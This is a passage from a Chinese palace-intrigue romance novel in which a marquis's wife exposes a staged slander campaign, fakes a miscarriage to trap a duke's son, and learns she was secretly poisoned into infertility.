在大家看不到的角度,搀扶着齐婧涵的丫鬟,悄悄使力掐着她的手臂,小声提醒,“你快说!”
齐婧涵衣服下没一块好肉,丫鬟随便一掐,都疼得她痉挛,她身子一软,跪倒在地,近乎背诵的喊道:“江元音构陷我兄长、母亲,使其冤死狱中,更下毒害我腹中胎儿,逼迫四郎休我……”
“荒唐,”齐司延迈出大门门槛,沉声道:“你与你母兄谋害本侯妻儿,证据确凿,你要翻案大可去刑部,来此胡言,是受谁指使?”
齐婧涵颤声:“侯爷是被江氏蒙蔽了……”
“没错,”江兴德附和出声:“若是我一家所言,可能是诬告,现在连齐小姐也站出来了,足以证明我所言非虚!”
江元音扬声道:“我为何要伤害你们?你们说我作恶,总该给出个我作恶的缘由吧?”
“便是给不出合理的缘由,只是我性格有缺陷,我心狠手辣,无故鞭笞你们,给你们泼开水,那你们身上总该有伤吧?”
她侧身,朝许清俯了俯身,重声道:“我没有做过这些事,还请国公爷当众验伤,还我一个清白!”
许清点头:“好,那就请在场的诸位做个见证,一同看看,他们身上是否有伤。”
江兴德激动扯开自己的衣服,露出胸口的鞭痕,转身面朝围观的众人展示,道:“这样的鞭痕,我身上比比皆是,是我教子无方,养出一条毒舌,害人害己!”
为了应对江元音这澄清谣言的方式,他早两日便咬着牙,挨了十来鞭。
他的确憎恨她,尤其知道江正耀的双腿因她而废后,可若非安国公授意,他也只会忍气吞声。
他知道侯府是攀不上了,但也不敢得罪齐司延。
可如今有安国公撑腰便不一样了。
他就知道,他命不该绝!
那些个围观的百姓,一半是真的聚过来看热闹的,但另一半就是散谣的“自己人”。
他们不时吆喝两声,带偏其余人。
隔着两丈远的距离,自没人能真的把江兴德身上的鞭痕看真切。
“啊,真的啊,全是鞭痕啊!”
“太狠了,连亲生父亲都敢抽啊!”
“那些传闻都是真的!”
在吆喝声里,江兴德又一把撩开了陈蓉的衣袖,将她伤痕累累的手臂露出来。
众人唏嘘不已,将目光落在跪地的齐婧涵身上。
齐婧涵万分惊恐,察觉到丫鬟要剥自己的衣裳,她蜷缩着,抱紧自己,困难发声:“不,不要……”
若当着这么多人的面脱衣,她的清白便毁了。
她亦不愿意任何人看到她怖人的身体,她仿佛已经能听到嘲笑声,看到大家指着她,一声声说着“好丑啊,真丑”。
江元音那个贱人,一定很得意吧!
然而偏偏全场,唯有江元音看着其惶恐抱着自己的模样,动了恻隐之心。
因为她想起了前世。
在泉郡,她被江云裳卖给流寇时,亦是如此。
齐婧涵的确是自作作受,可同为女子,她从未想过让其受此辱。
是以,江元音主动对许清道:“还请国公爷寻个仆妇,将齐婧涵带入屋内验伤。”
齐婧涵身子一僵,难以置信地抬首朝江元音看去。
……怎么会?
……她竟然会帮她?
这时那群围观的人嚷嚷出声。
“这还验什么啊,这不明摆着吗?”
“他们一个个身上都是伤,传闻都是真的!”
江元音不慌不忙道:“这伤是真是假,当由郎中来验。”
许清颔首,瞟一眼自己的心腹,吩咐道:“去寻个郎中来验伤。”
待郎中一验,江元音可就是百口莫辩了。
届时他再告知她,自己会不惜代价劝齐婧涵、江兴德等人,认罪诬陷她,帮她解决此事。
许清自以为一切尽在掌控之中,这时马鸣声响起,一辆豪华的红木的马车,完全没避着人群而来。
围观的人不得不四散避开,给其让出路来。
李霁自车厢内钻出,立在车夫的位置,环视了周遭一圈,俯视许清。
他把玩着手中的折扇,笑道:“巧了不是,张御医就在本王车里,许公不必去寻什么郎中了,就由张御医来验伤吧。”
许清面色终于沉了沉,“什么风把王爷给吹来了?”
“自然是萦绕在国公府上空的热闹喧嚣之气,甚是吸引本王啊。”
许清场面的笑:“王爷领了张御医出宫,想必是要去给重要的病人看诊,就别在老夫这耽搁时间了,何况要让张御医来验伤,岂不是大材小用?”
“张御医定比宫外的郎中靠谱,探查真相,还人公道之事,怎会是大材小用?”李霁一脸不赞同,“何况本王亦想知道,侯夫人那些个匪夷所思的传闻,到底是真是假。”
他说完往马车里看了一眼,“张御医,下车验伤吧。”
“是,王爷。”
张御医拎着医药箱,下了马车,径直朝江兴德而去。
江兴德神色难掩慌乱,下意识的抬眼看向许清。
江元音精准捕捉,状似不经意的询问许清:“国公爷,我阿父为何要看你?”
“哦?有吗?”许清装傻带过,“我正与王爷说话,一时未察。”
许清在心中将李霁狠骂了一遍,眼底一片阴沉。
张御医察看了江兴德和陈蓉手臂的鞭痕,又走向齐婧涵。
齐婧涵死死捂着自己的衣襟,写满抗拒。
然而,她不止是是身上满是怖人的伤,手背上亦有。
张御医不言语,仔细端详着她的手背。
片刻后,张御医起身,先后朝李霁、许清、齐司延作揖行礼:“回王爷、国公爷、侯爷,这些人身上的鞭伤、烫伤,皆是真的。”
江兴德等人松了口气,立即冲江元音发难:“御医已验过伤,你还想怎么狡辩?”
他扑通跪地,高喊道:“还请王爷、国公爷替草民做主啊!”
江元音不慌不忙,兀自冲张御医开口问道:“请问张御医,可能看出这些伤是何时伤的?”
张御医颔首:“能估摸出个大概,前后差个三两天吧。”
江元音继续问:“那他们这些伤可是两个月前伤的?”
张御医摇头,“这些伤皆是新伤,最多也就是三五日前所伤。”
“此话当真?”
“王爷、国公爷、侯爷在场,我万万不敢撒谎糊弄。”
“辛苦张御医,”江元音道完谢,扬声道:“按照传闻,他们受伤当是六月的事,距今快两月,怎会是三五日前?”
“妾身是被冤枉的,还请王爷、国公爷、侯爷明鉴!”
齐司延冷眼环视江家三口与齐婧涵,质问出声:“是谁指使你们构陷本侯夫人?”
许清亦重声呵斥道:“大胆刁民,竟敢愚弄到本公头上,弄虚作假,还让本公给你们主持公道!”
他手指他们,厉声道:“此事,本公定不轻饶!来人,将他们押送刑部——”
“国公爷请慢,”江元音出声阻拦,“我始终不信他们会忽然害我,他们一定受人胁迫指使,请国公爷容我先问一问。”
她看向江兴德,动之以情的劝道:“阿父,女儿相信你今日所为一定是迫不得已,趁着此刻王爷、国公爷、侯爷都在,阿父赶紧坦白说出来,免得含冤入狱啊。”
江兴德面色惨白,忐忑不安望向许清。
许清眸光狠厉,溢满威胁:“江兴德,你今日所为当真是受人指使?”
江元音:“阿父快说啊,难道你想被流放吗?”
她复而看向齐婧涵,掺杂几分真心实意地劝道:“那人许了你什么好处,你真真愿意被其利用吗?”
齐婧涵满脑子都是许子枫那犹如修罗的可怖模样。
她好像又在遭受鞭笞与开水灼烫的折磨,她连头皮都开始疼了。
疼到极致,也不知道是清醒过来的求生,还是想要鱼死网破的毁灭。
她猛地站起身来,用尽浑身的力气,歇斯底里的大喊道:“是许子枫让我这样做的!他说只要我这样做,就会重新接我回国公府,他为了坐实谣言,拿藤鞭抽我,拿开水泼我,他说……忍一忍,就接我回国公府。”
第156章 江元音和李霁串通好了?
“疯言疯语!”
一直隐匿在旁侧熙攘人群里的许子枫倏地冒出来,厉声撇清和齐婧涵的关系:“你一家恶贯满盈、罪行累累,我早于六月十二日便将休书送至侯府,与你这失德弃妇毫无关系!你休得在这血口喷人!”
“与我毫无关系?”齐婧涵一边发抖,一边大笑,眼泪却一颗接着一颗滚落,“那你七日前为何来找我?为何告诉我,只要我今日站出来指证江元音,你就会接我回国公府?甚至……”
“齐婧涵——!”许子枫大步上前,高声制止,眸光示意其身侧的丫鬟赶紧拉住她。
丫鬟看似搀扶,实则用力按压齐婧涵的手臂上的伤来阻拦。
齐婧涵疼得冒汗,一时失了声。
许清阴沉着脸,站在正门的台阶上,俯视空地上的许子枫,“你说说看,这到底是怎么一回事?这些事,当真是你做的?”
“父亲,孩儿的确有错,”许子枫扑通跪地,“一错不该识人不清,着了她一家的道,娶这弃妇入门,二错不该于心不忍,对她留有情面,让她对孩儿仍心存幻想,分不清虚实真假,道出这般荒谬的言论,抹黑我国公府!”
“孩儿一定会让这弃妇道明真相,还孩儿、还国公府清白!”
许子枫说完,起身走向齐婧涵。
江元音出声唤道:“许四公子。”
许子枫只得停住逼迫齐婧涵的脚步,压抑着愤怒看向江元音,顺势辩解道:“我与侯夫人无冤无仇,不可能指使齐婧涵做这些,还请侯夫人不要轻信其挑拨,坏了国公府与侯府的关系。”
江元音没有指责恼怒,开始给其下套问道:“许四公子当真在六月休妻后,与之再无往来,七日前没去见过她?”
“从未!”许子枫说得斩钉截铁,没有半点心虚,“我既休了她,怎会跟她牵扯不清?她父亲被流放,母兄畏罪死于牢狱,一屋子恶人,我许子枫怎会跟一个罪人之女纠缠?”
江元音状似认可地点点头,附和道:“那看来,的确是齐婧涵在撒谎了。”
许子枫刚松了一口气,只等着逼迫齐婧涵一人认了罪,彻底从这档事里撇清。
无人关注马车上,李霁默默给人群中一男子使了使眼色。
于是该男子自人群中冲了出来,指着许子枫大喊道:“不对啊,撒谎的人是你吧!”
男子就是平常百姓的穿着,看不出什么特别来,众人的目光一下子聚焦在他身上。
高立马车上的李霁扇扇,饶有兴致地出声问道:“你是何人啊?”
“回王爷,草民刘冬,乃城南边一小摊贩,”刘冬行了礼,回道:“草民就住在东南巷弄,和齐氏隔不了几户人家,算是邻居。”
“你怎知许四郎在撒谎啊?”李霁扇子点点许子枫,又问刘冬:“莫非你见着他了?”
“王爷英明,草民的确看到他了,约莫就是六七天前的时候,许四公子气质出挑,草民一下子便记住了,当时不知其就是国公府的四公子,还同街邻讨论,是哪家的富贵儿郎呢。”
“你……”
许子枫刚出声,李霁一记眼刀飞过去,慢悠悠地,却满是威严,“本王问话,岂容你插嘴?”
许子枫整张脸涨得通话,只得俯身垂首:“王爷恕罪。”
李霁没给他一个多余的眼神,执扇点点刘冬:“你继续说。”
刘冬:“再然后便是四日前,那日我们不少街邻都听到了齐氏凄厉的惨叫,晚上隔壁的大娘坐不住,怕人出了什么事,死在了屋子里,特意去探望。”
“这一看吓一跳,那齐氏浑身是伤啊,大娘本是关心关心,可那齐氏却觉得是奚落挖苦,不停重复着,她不日就要回国公府了,让人把大娘赶出来了。”
“大娘同我们转述时,我们都只当是那齐氏脑子不太灵光,说胡话呢,要不是今日来这凑了个热闹,还不知齐氏说的都是真的。”
“怎么可能是真的!”许子枫一时没敢咬死没伤害齐婧涵,模糊重点地回道:“我怎么可能接一个弃妇回国公府,永无可能!”
一旁的齐婧涵听着这句话,喃语重复了几声:“永无可能,永无可能……”
继而眸光似剑地望向许子枫:“是你逼我的,是你逼我的!”
她眼里是豁出去的决绝,一把推开看起来搀扶,实则控制她的丫鬟,猛地脱掉了自己的上衣,露出狰狞怖人的背部,“这些鞭痕、烫伤,都是你亲手加之于我的!是,我不良善,我做了很多坏事,但你许子枫,更不是什么好人!”
齐婧涵裸着皮肉翻烂的后背,舍了清白也要同许子枫同归于尽。
周遭一片倒吸冷气的声音。
“天,这未免太心狠手辣了吧!”
“男子汉大丈夫,怎能对下堂之妻下如此毒手啊。”
江元音觉得时候差不多了,抬脚迈下台阶。
齐司延伸手拦了一把,并不赞同她太靠近那一群疯子。
场景混乱,出门前她还以“去国公府不想太招摇”为由,留下了青鸢、沉月,就只带了雪燕随侍。
眼下江家三口、齐婧涵乃至于许子枫,都已经是进退维谷,保不定会有过激行为。
江元音朝他无碍笑笑,无声安抚道:没事的侯爷,我心中有数。
她抬步迈向齐婧涵,帮其将褪下的衣服拉上,看向许子枫,道:“诚如许四公子所言,我与你无冤无仇,不知许四公子为何不惜对前妻下这般狠手,也要诬陷我?”
“还是说许四公子也是受人指使?”
“谁知她身上的伤是怎么来的?”许子枫抵死不认,“口说无凭,分明是她不甘被休,才闹这么一出,想挑拨侯府和国公府的关系,侯夫人万不能听信其言!”
他激动伸手,用力将齐婧涵拖拽出来,满目威胁,道:“说,你为何要这般害我?”
“是……是你……”齐婧涵疼得说话都不利索。
“她浑身都是伤,还请许四公子放开她,”江元音看准时机的上前伸手,试图拉开两人,“你这般拽着她,她如何能好好说话……啊。”
许子枫自不可能松开齐婧涵,扬手挥开江元音的手。
江元音犹如遭了他重重一推,顺势连连后退,身子一晃,捂住肚子跌倒在地。
这才是她跟李霁要送给许清的“礼”。
局势愈加混乱复杂,周遭完全猜不到,眼前的闹剧要如何收场。
齐司延大步而来,紧绷着脸,蹲身弯腰,紧张查看:“可有伤着?”
江元音朝他使了个眼色,转瞬换成楚楚可怜的样子,“侯爷,妾身肚子疼……”
齐司延呼吸重了重。
他了然她想做什么,但显然并不同意,于是蹙眉抿唇看着她。
江元音依偎靠过去,再次重复:“侯爷,妾身肚子疼……”
李霁直接给许子枫定罪,怒声道:“许子枫,侯夫人有孕在身,你竟也下得去手!还说自己不会害她!”
他接着安排道:“定宁侯,快将你夫人抱上马车,张御医,速上马车替侯夫人看诊!”
张御医忙抱着药箱,急声道:“侯爷,速速抱侯夫人上马车吧,莫耽搁了诊治。”
齐司延将江元音抱起,冷眼看向呆若木鸡地许子枫,“许子枫,本侯妻儿若有闪失,定追责到底。”
许子枫完全没料到事情会是这般走向,无措否认:“我……我没有推她……”
齐司延抱着江元音朝马车走去。
许清暴怒下了台阶,扬手给了许子枫一记耳光,怒斥出声:“逆子,定宁侯之妻若出了事,我唯你是问!”
许子枫哪还顾得上齐婧涵,腿一软便跪地,“父亲,孩儿当真没有推她,父亲信我!”
马车里,张御医正在给江元音看诊。
马车外,李霁立在车夫的位置,俯视许子枫:“你能对齐氏下此狠手,对侯夫人没轻没重倒没甚好惊讶的,再说,你有没有推,在场这么多人都看着,还想狡辩?”
有看热闹的百姓带头出声:“是啊,明明是他动手推了,我看得清清楚楚!”
“我也看到了,他分明就是动手了!”
许子枫还要反驳,再次被许清狠扇了一巴掌,转移重点地扬声道:“非本公包庇吾儿,但当下不是问责的时候,当是确保侯夫人无恙。”
李霁点点头,意味深长道:“本王当然相信许公的为人,只是既然令郎涉事其中,这公道怕是不能交由许公来主持了。”
许清抬眼看着李霁,两人之间是你来我往的较劲,他自不会顺着其的心意,说出交由他来主持的话,而是故意拱手往皇宫的方向拱了拱,道:“逆子要是真犯了错,王爷尽可诉之圣上,本公绝不拦着。”
他不信李霁今日是恰巧经过,从其带了御医同行,又有所谓的小贩站出来指证,加上这些“围观”人的口风,分明是一场局。
许子枫这个蠢货,是着了这李霁的道。
但他依旧赌,知晓江元音身世的李霁,不可能真的将此事闹大。
而江元音,和李霁串通好了?
第157章 意外得知她不孕的真相
马车内。
演戏演全套,张御医还真的在给江元音诊脉。
一旁齐司延的面色冷峻,气氛低迷。
江元音扯了扯他的衣袖,好声好气道:“我刚没摔着,一点事没有,是轻轻坐在地上的,真的。”
齐司延掀了掀眼皮,不同她闪烁其词,冷着脸,直接问道:“是你的主意还是王爷的主意?”
江元音眨眨眼:“是我们一起商量出来的。”
其实是李霁提的,她知晓齐司延不会同意,但还是被说服了。
就抓住“许子枫散谣构陷她”,对许清而言的确是不痛不痒。
他本就不在意这个庶子,重惩一番便是。
但若加上她的“孩子”,可就不是散布谣言这么简单了。
国公府欠着侯府“血债”,再不可能摆出“恩人”之姿。
齐司延沉声:“为何瞒着我?”
“我没想瞒着侯爷啊,”江元音眨巴眼,“那日我和王爷聊了什么,有同侯爷说的,是侯爷没问细节啊。”
齐司延回想起那日,被她说着要他挑选下江南的住址哄着,根本忘记要追问细节。
他气闷的扯出被她拉着的衣袖,别过头,不看她。
江元音锲而不舍地伸手,再次拉住他的衣袖,撒娇地晃了晃。
齐司延态度坚决:“我不同意。”
他看向张御医,强调道:“王爷那边本侯会去说清楚,承担所有问责,张御医务必保全本侯的‘孩子’。”
他不同意为了算计许清,失去他们的“孩子”。
可这时张御医收回诊脉的手,面色凝重地朝齐司延作揖,“侯爷、侯夫人腹中的‘孩子’保不住了。”
齐司延眉眼微挑,又强调了一遍:“王爷那边,张御医无需担心。”
张御医摇头,压低声音解释道:“侯夫人体内毒素未解,便是马上寻到解药,也得调理个一两年,才能有孕啊。”
他猜想江元音敢在没有身孕的时候,放出有孕的消息,一定是觉得,先把消息放出去,慢慢怀一个便是。
到时候孩子差个一两三个月份,也不是没有糊弄的说法。
可她如今至少一两年内怀不上,不趁此机会“流掉”这个莫须有的孩子,假孕的事一定会被戳穿。
江元音一脸懵,睫毛轻颤:“什么毒素未解?”
她何时有中毒?
就四个月前,误跌入药浴池那一回吗?
那毒还留在她体内,还让她不孕?
齐司延将江元音的神色尽收眼底,见她自己亦不知情后,方才紧声追问张御医:“我夫人中了何毒?”
张御医目光诧异地在两人之间来回:“侯爷、侯夫人竟不知情?”
他不卖关子,赶紧回道:“侯夫人所中之毒,名唤‘燕无息’,无息即无子嗣,此毒不仅无色无味,中毒后身子亦不会有甚不爽利,仅仅是无法受孕,因此中毒者难以察觉,甚是阴毒。”
他感慨出声:“也难怪侯夫人中毒快要一年,也未察觉。”
江元音呼吸一滞。
中毒快一年?
那便是还在江南江家的时候。
她仔细回忆,在脑海里搜寻细节。
她重生后,和陈蓉接触并不多,也很是防备,陈蓉当没有机会给她下毒才是。
而她初初的确信任江兴德,但江兴德指望她在侯府站稳脚跟,更不可能给她下毒。
江正耀当时一个九岁的孩子,哪来这种阴险的毒?
一一排除后,她脑子里浮现出江云裳的脸。
她回忆起刚重生时,见到的第一个人是江云裳。
她寻来了刺青师,修改她左肩的莲花胎记,改成动物图腾。
她重生时刺青快要完成了,她隐约能想起些她还没重生前的记忆。
江云裳领着刺青师来到她的房间,在刺青师摆好工具后,她掏出个小瓶子撒了些药粉在着色盘里,拿着骨针搅了搅,甜笑着说:“阿姐莫怕,加了这止痛的药,一会便不疼了。”
现在想来,江云裳那个时候倒的不是什么止痛药,而是燕无息。
重生前的她对江云裳没有任何的防备,而江云裳比她重生早,抢占了先机。
她真是低估了江云裳的恶毒,哪怕是决定夺走她的胎记,顶替她的身份,去泉郡找李承烨,做她的“皇后梦”,也不忘对她下毒后再走。
齐司延伸手揽住江元音的肩,无声安抚她,询问张御医:“此毒怎解?”
“倒是不难,只是有一味药引有些难寻。”
“哪一味?”
“血藤花,干花不行,需得是盛开时摘下的鲜花,但此花只在寒雪天绽放,花期甚短,又长在苗疆境内,所以采摘不易啊。”
“此花本侯定会寻来,”齐司延条理清晰的处理,问道:“张御医刚刚说,便是解毒了也要调理个一两年,不知能否现在就开始调理?”
“可以一试,但成效如何,尚不好说。”
“那便劳烦张御医了。”
三人在车内达成一致,张御医从车厢内钻身出来,沉重道:“王爷,侯夫人本就脉象虚浮,受不得刺激,许是近来被流言缠身,忧思过度,心绪难宁,以致胎元动摇,刚被许四公子这么一推……孩子保不住了。”
本小章还未完,请点击下一页继续阅读后面精彩内容!许子枫面如死灰,惶恐看向许清。
张御医又道:“马车内限制太多,我药箱里药材有限,侯夫人需得立即用药,否则怕是再难受孕。”
许清深呼吸,忙道:“定宁侯快快将令夫人抱入我府中吧,需要什么药材,张御医尽管说,本公负责到底。”
齐司延撩开了车帘,露出一张冷若寒冰的脸,不看许清一眼,冲李霁道:“王爷,国公府许四郎造谣毁臣妻名声,又推搡臣妻害臣子嗣,还请王爷为臣主持公道。”
“臣妻情况危急,求王爷借马车和张御医一用。”
李霁还不知江元音真的中毒了,只当齐司延是按计划行事。
他心道齐司延这沉痛与压抑的愤恨,演得实在不错,令他都入戏了些。
李霁颔首应了,随即下了马车,扬声道:“侯夫人身子要紧,你且安心去,如今闹出了人命,本王一定秉公处置,严惩不贷!”
红木马车扬长而去。
李霁把玩着折扇,眯眼环视江家三口、齐婧涵与许子枫,眯眼道:“你们是在这招,还是去刑部招啊?”
许子枫吓破了胆,跪爬至许清脚边,抱住许清的腿:“父亲救我,父亲救我!”
江兴德见状,同样绷不住了,也朝许清围过去,哆嗦道:“国公爷救命!国公爷可不能不管我江家啊……”
李霁笑得耐人寻味:“奇了怪了,这些个恶人为何要求许公啊?搞得好似——”他故意拉长语调,“都是受许公指使一般呐。”
许清是个沉得住气的,猛踹了抱住他腿的许子枫一脚,对上李霁时,又是不慌不忙的样子:“本公愿同王爷一道,将他们扭送刑部。”
如此情势,再待在这,任人旁观,只会招致非议。
他只需在围观的百姓面前,表演好“大公无私、大义灭亲”即可。
剩下的,就看去往刑部的路上,和李霁的交涉博弈了。
齐司延和江元音乘坐李霁的马车,同张御医一道回了侯府。
今日他们和李霁配合默契,一切都算是按照计划在进行。
回去的车程上,两人都冷静了下来。
原本齐司延对江元音和李霁,擅作主张,不知会他,便要牺牲掉“孩子”来对付许清,是生气不满的。
但现在想来,他庆幸他们做了这个决定。
否则,还不知道要何时才会知晓,江元音竟中了燕无息。
难怪她的肚子,迟迟未有动静。
回了侯府,张御医再次静心为江元音诊脉,之后又开了几帖药。
张御医:“侯夫人先试试吧,不过我还是提前说一句,在解毒之前,调理的作用不大,当务之急还是得先解毒,不过要采到血藤花,最快也是今年冬天的事了。”
齐司延表示了然的颔首,再次出声确认道:“毒未解之前,身体真的不会有疼痛不适吗?”
“不会,侯爷,侯夫人请放心。”
江元音知道齐司延是担心自己疼痛,出声安慰道:“若是有不适疼痛,就不会直到今日才知晓了。”
送走了张御医,屋内只剩下他们二人,齐司延方才出声问道:“阿音可知这毒是谁下的?”
江元音没瞒着:“应该是江云裳。”
齐司延不意外,眸色深了几许:“又是她。”
他将她揽入怀抱,墨眸中杀意满溢,沉声道:“我们的确该出发下江南,去会会老熟人了。”
原本他看在江云裳这辈子阴差阳错将阿音送到他身边的份上,只要她不出现在他面前,他不会再去计较上辈子的种种。
可她偏偏,又对阿音下手。
那就新仇旧恨一起算。
江元音张了张唇,有些话到了唇边还是咽了下去。
她本想告诉他,其实用不着他们出手,江云裳待在李承烨身边,堪比活在地狱。
但那自会牵扯出她前世遭遇了哪些非人的对待,她不愿回顾,更怕他心疼。
她的思绪顺着他的话飘远。
……回到江南,她会再次见到李承烨吗?
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第158章 请皇上彻查此事
临近傍晚,许清带了一马车药材补品,亲自登门了。
前厅。
齐司延连场面的好脸色都没有,冷淡道:“许公来为令郎求情?”
“怎会?”许清自知目前的情势是自己理亏,也不去计较齐司延的无礼,表态道:“逆子与江家三口以及那齐氏,都被送入刑部羁押了,一切都等候刑部发落,老夫绝不会插手。”
他和李霁一道前往刑部,多次欲与其商榷,然而李霁全不接招。
执意以“谋害公侯重臣子嗣”的罪名,要求刑部对许子枫等人羁押查办。
他知道李霁就是冲他来的,但他也不慌。
牵扯上皇权,谁没有把柄?
李霁看似来势汹汹,实则漏洞一堆,他完全可以反咬李霁同齐司延串通,构陷国公府。
如今满朝文臣世家,以他安国公马首是瞻,李霁要闹大,那便是两败俱伤。
何况,他并不在意许子枫这个成事不足败事有余的庶子。
来一趟侯府,当然不可能是为了许子枫求情,为的是江元音,是或许能重新拢聚兵权的齐司延。
他自称“老夫”而不是“本公”,便是在暗示齐司延。
许清又关切地询问:“元音呢?怎么样了?”
一句“元音”,他唤得熟稔亲切。
齐司延话中带刺地反问:“许公难不成是想要我那刚因令郎而小产卧床的妻子,起身来招待许公?”
许清不恼,反而满脸疼惜:“元音遭此意外,我这个当舅舅的心疼还来不及,怎舍得折腾她?”
“本以为处置了闹事的江家,就能同元音话家常,不成想竟发展成这样……”他双手一摊,连声叹气,“哎——不能扰元音休养,此事,老夫想先与你谈谈。”
齐司延冷冷撇清关系:“许公现在便自称‘舅舅’,未免太草率了些。”
“她生了那张脸,左肩又有莲花胎记,定是我妹令仪的女儿无疑,”许清满眸深意地望着齐司延,套话道:“元音被掳走时,你也就三四岁吧?十几年前的事,你不记得不清楚合情合理,但珩王当是一清二楚的,你不信老夫所言,也该信珩王所言吧?”
齐司延不上套:“珩王并未说过同许公一样的话。”
他故意不说清道明,不管许清怎么理解,他都能解释反驳。
“珩王见了元音,不识其身世?”许清不信,继续下套试探,“莫不是老夫哪得罪定宁侯了,才让定宁侯选择同珩王一起糊弄老夫?”
今日的种种,他一直觉得是李霁设局。
只是尚不确定齐司延和江元音,是否同其串通好了。
按权势,李霁那个空有王爵的王爷,哪能比过他?
论亲疏,他这个“舅舅”,怎么着也该比李霁那个不靠谱的“皇叔”来得亲近吧。
他不信齐司延和江元音会在他同李霁之间,选择李霁那个无用的王爷。
齐司延把问题抛回去:“珩王知不知道阿音身世,得去问珩王。”
他不疾不徐道:“十几年前的事,我的确不清楚,阿音的身世,还有待考证。”
“从何考证,如何考证?”许清眯眯眼,“让皇上来定夺?”
齐司延一派轻松,半点不受威胁道:“有理,待阿音养好了身子,可下床了,的确该交由皇上定夺,若阿音真是皇家血脉,是尊贵的公主,那是本侯的福气。”
许清眼角抽了抽,“……你这句‘公主’才是言之过早,草率了。”
“此话怎讲?”齐司延故作讶然。
许清仔细观察着齐司延的神色,半信半疑地回:“十六年前宫变,被‘掳走’的公主,自然是先帝的女儿。”
齐司延心道果然。
江元音生于李彦成逼宫前三月,连许清也不知道她是李彦成的女儿。
难怪许清敢折腾这么大一出戏,试图拉拢他。
于许清而言,此事曝露给李彦成,结果无疑是李彦成处死江元音,他捞不着半点好处。
他“帮”着隐瞒,便是“恩人”。
齐司延表示了然的点点头,再为其扣上帽子,道:“那看来许公会瞒住阿音的身世,毕竟许公和先皇后兄妹情深。”
他搬出先皇后许令仪,撇清许清所谓的“恩”。
“不过令郎今日所作所为,的确令人寒心,阿音会不会认许公这个‘舅舅’我也说不准,”齐司延满目沉痛,“阿音是皇上赐婚给我的妻,若她真是先帝骨血,皇上要其命,我无话可说,可她腹中怀的乃是我齐家子嗣,我尚无法不予追究。”
“还请许公谅解我的心情,给我些思索缓神的时间。”
“时候不早,我便不多留许公了,许公请回吧。”
他三言两语便把许清的算盘粉碎。
许清想拿江元音的身世做文章,来当他们的恩人,他便搬出许令仪,将其所以的“付出”,解释为“兄妹情深”。
甚至,他要是放弃追责许子枫,便是他国公府的“恩人”。
许清被噎住,无功而返。
待其身影消失在视野,一直在旁听两人交谈的江元音才自偏厅过来。
这章没有结束,请点击下一页继续阅读!她分析推测道:“他定会先处置许子枫,落个是非分明、大义灭亲的好名声,也不用承恩我们。”
许清是只老狐狸,不会甘愿,也不可能被他们长久困在局里。
他有得是反击的法子。
然而不重要,待他反击时,她已离开汴京,不奉陪了。
齐司延轻“嗯”了声,对这个话题兴致缺缺,拉过她的手,突兀地开口道:“阿音,我们去岚州吧。”
“那里不止是四季如春,更邻近柳州,你若得空无聊,可去寻秦氏,或将秦氏接来小住解闷。”
“而且岚州去苗疆也方便,待入了冬,我便去趟南疆,替你寻血藤花来做药引。”
江元音回握住他的手,眉眼弯弯道:“好,侯爷思虑周全,我们去岚州。”
次日,早朝后。
毫无意外,齐司延同许清再次被请到了御书房。
两人踏入御书房时,李霁早在里面了。
许清的心思百转千回,面色一派平静地同齐司延一道向李彦成行礼请安。
“臣安国公许清恭请皇上圣安。”
“臣定宁侯齐司延恭请皇上圣安。”
李彦成抬抬手,示意两人起身,意味不明地感慨了句:“朕刚听完清晏所言,才知昨日一休沐,两位爱卿发生如此大的事啊。”
闻言,许清心微沉。
他不得不承认,他赌输了。
他原以为李霁早知晓江元音的身世,并且打算瞒住,是以不会将此事闹到李彦成面前。
难道李霁真的没和齐司延串通?
不待二人出声回应,李彦成看向带着打量看向齐司延,关怀道:“先前在大殿上朕便瞅着你脸色不好,你夫人如何了?”
齐司延面色的确很差,眼下泛青,好似一夜未眠。
齐司延低眼,俯身拱手回道:“多谢皇上关心,昨日幸得张御医诊治,臣妻暂无性命之忧,只是得休养一阵了。”
李彦成宽慰道:“你夫妇二人正当年华,他日定能再添麟儿。”
齐司延低声回道:“蒙皇上金口赐福,臣不胜感激。”
这时许清倏地俯身跪地,痛声道:“逆子昨日失手推搡了侯夫人,致侯夫人小产,是臣教子无方,治家不严,伤了定宁侯子嗣,臣自知逆子万死难辞其咎,难抚定宁侯夫妇伤痛,还请皇上责罚老臣!”
他看似包揽了所有的罪责,没有狡辩反驳一句,但却只承认了许子枫推搡江元音。
李彦成叹了口气,感慨道:“朕前些日子刚感慨两位爱卿之间,解除了误会,没生嫌隙,这才过去多久,便生此事端啊?”
李霁添油加醋道:“是啊,昨日臣弟原本还以为,许公和定宁侯交情甚好,才能见着许公帮定宁侯处理家事呢,谁知这祸事就是国公府挑起的。”
许清回道:“回禀皇上,并非老臣要插手定宁侯家事,乃是江氏一家跪在老臣府前讨求公道,老臣亦苦恼,才知会定宁侯夫妇此事,谁知……哎,世事难料,早知会有此意外,老臣便是落得个‘官官相护’的骂名,也绝不会插手此事。”
“老臣悔之晚矣,悔之晚矣啊。”
这时齐司延出声道:“皇上,臣不怪许公,臣只想要个真相。”
“臣与国公府许四郎无冤无仇,不知其为何要伙同江氏一家散布谣言,构陷臣妻,害臣妻儿。”
“臣认为这背后必有隐情,指不定是有心人想挑拨侯府与国公府。”
“请皇上彻查此事!”
许清有些懵。
此刻他对齐司延的意图,没有半点头绪。
昨日已挑明了江元音的身世,齐司延若想隐瞒,就该大事化小小事化了,请旨彻查,就不怕曝露江元音的身世吗?
他到底想做什么?
这时李霁上前一步,道:“此事轻则是谋害公侯重臣子嗣,重则是有人在皇兄眼皮下,玩弄权术,试图挑拨朝中重臣的关系,破坏朝堂平和,皇兄不可大意啊。”
他躬身作揖,道:“能算计到安国公和定宁侯头上,朝中怕是无人敢放开了查,不如交给臣弟吧。”
“不管此事有何隐情,臣弟定查个水落石出!”
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第159章 请奏和离
御书房一番谈话,最后李彦成将彻查的事,交予了李霁。
又赏赐了齐司延一些药材,而许清,只得到了一番问责。
敲定后,李彦成留下了李霁。
齐司延和许清一道走出了御书房。
两人沉默无言地走了几步,有等候良久的东宫太监上前,恭敬道:“国公爷,太子殿下有请。”
齐司延没甚情绪起伏,朝其拱拱手,算是道别。
许清大步朝东宫而去。
他面色凝重的入了殿,朝李昀璟虚虚行了个礼:“殿下召见老臣,所谓何事?”
李昀璟屏退左右,一双眼紧盯着许清,近乎质问地出声:“许公不是说要笼络定宁侯吗?”
宽大的袖袍下,他双手紧握成拳,是许清难以察觉的在意与紧张。
……她的孩子没了?
许清本就心思烦闷,脑海中还在分析御书房的种种,对李昀璟的情绪毫无所察。
